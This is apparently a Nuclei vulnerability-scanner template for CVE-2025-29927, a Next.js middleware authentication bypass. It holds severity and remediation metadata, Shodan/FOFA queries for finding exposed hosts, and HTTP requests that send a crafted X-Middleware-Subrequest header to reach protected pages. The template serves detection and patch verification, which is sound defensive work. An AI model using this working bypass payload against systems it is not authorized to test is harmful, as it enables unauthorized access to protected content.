Next.js Middleware Bypass

id: CVE-2025-29927

info:
  name: Next.js Middleware Bypass
  author: pdresearch,pdteam,hazedic,Veraptos VaaS Alpha
  severity: critical
  description: |
    Next.js contains a critical middleware bypass vulnerability affecting versions 11.1.4 through 15.2.2.
    Attackers may bypass middleware by sending a crafted x-middleware-subrequest header. This template
    requires a baseline middleware redirect before accepting a bypass 200 response.
  impact: |
    Unauthenticated attackers can bypass middleware security controls when the baseline request proves
    middleware enforcement and the bypass response exposes protected content.
  remediation: |
    Upgrade to Next.js 14.2.25 or 15.2.3 or later. Block the x-middleware-subrequest header at the edge.
  reference:
    - https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
    - https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw
    - https://slcyber.io/assetnote-security-research-center/doing-the-due-diligence-analysing-the-next-js-middleware-bypass-cve-2025-29927/
  classification:
    epss-score: 0.99225
    epss-percentile: 0.99936
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2025-29927
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 5
    product: next.js
    vendor: zeit
    spec_id: "CVE-2025-29927"
    veraptos_verified: SAT
    invariant_count: 0
    target_function: "middleware_bypass"
    chain_name: "nextjs-middleware"
    shodan-query: "x-middleware-rewrite"
    fofa-query: "x-middleware-rewrite"
  tags: cve,cve2025,nextjs,middleware,auth-bypass,vkev,vuln

flow: |
    let base_check = function () {
      return http(1) && http(2);
    };

    let endpoint_check = function () {
      if (!http(3)) return false;

      for (let endpoint_urls of iterate(template.endpoints)) {
        set("endpoints", endpoint_urls);
        if (!(http(4) && http(5))) return false;
      }

      return true;
    };
    base_check() || endpoint_check()

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        X-Nextjs-Data: 1

    matchers-condition: and
    matchers:
      - type: regex
        part: header
        regex:
          - "(?i)(x-nextjs-redirect|x-middleware-rewrite|x-nextjs-rewrite):"
        internal: true

      - type: regex
        part: header
        regex:
          - "(?i)(x-nextjs-redirect|x-middleware-rewrite|x-nextjs-rewrite|location): .*(login|signin|auth|authenticate|unauthorized|admin|dashboard|forbidden)"
        internal: true

      - type: status
        status:
          - 307
        internal: true

    extractors:
      - type: regex
        name: redirect_path
        part: header
        regex:
          - "(?i)(x-nextjs-redirect|x-middleware-rewrite|x-nextjs-rewrite): (.*)"

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        X-Nextjs-Data: 1
        X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Request Rejected"
          - "The requested URL was rejected"
          - "Your support ID is"
          - "Access Denied"
          - "Request Blocked"
        negative: true

      - type: status
        status:
          - 200

  - method: GET
    path:
      - "{{BaseURL}}"

    redirects: true
    matchers:
      - type: regex
        part: body
        regex:
          - "href=['\"](\\/[^\\.\"']+)['\"]"
        internal: true

    extractors:
      - type: regex
        name: endpoints
        part: body
        group: 1
        regex:
          - "href=['\"](\\/[^\\.\"']+)['\"]"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}{{endpoints}}"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - contains_any(to_lower(header), 'x-middleware-rewrite', 'x-middleware-redirect', 'x-nextjs-redirect', 'x-nextjs-rewrite') && status_code != 200
          - "regex(to_lower(all_headers), '(login|signin|auth|authenticate|unauthorized|admin|dashboard|forbidden)')"
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}{{endpoints}}"
    headers:
      X-Middleware-Subrequest: "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "!contains_any(to_lower(body), 'request rejected', 'your support id', 'access denied', 'request blocked')"
        condition: and

      - type: word
        part: body
        words:
          - "admin secret"
# digest: 4a0a0047304502201cf4f09c47cfa29c6afff61f47562a162a2fc32b7230d0d99a941db0af82b67e022100895a85ef44ce0f165ad26550ab4a9d796a61b94898ee08cc6b970cd8fc54fa11:922c64590222798bb761d5b6d8e72950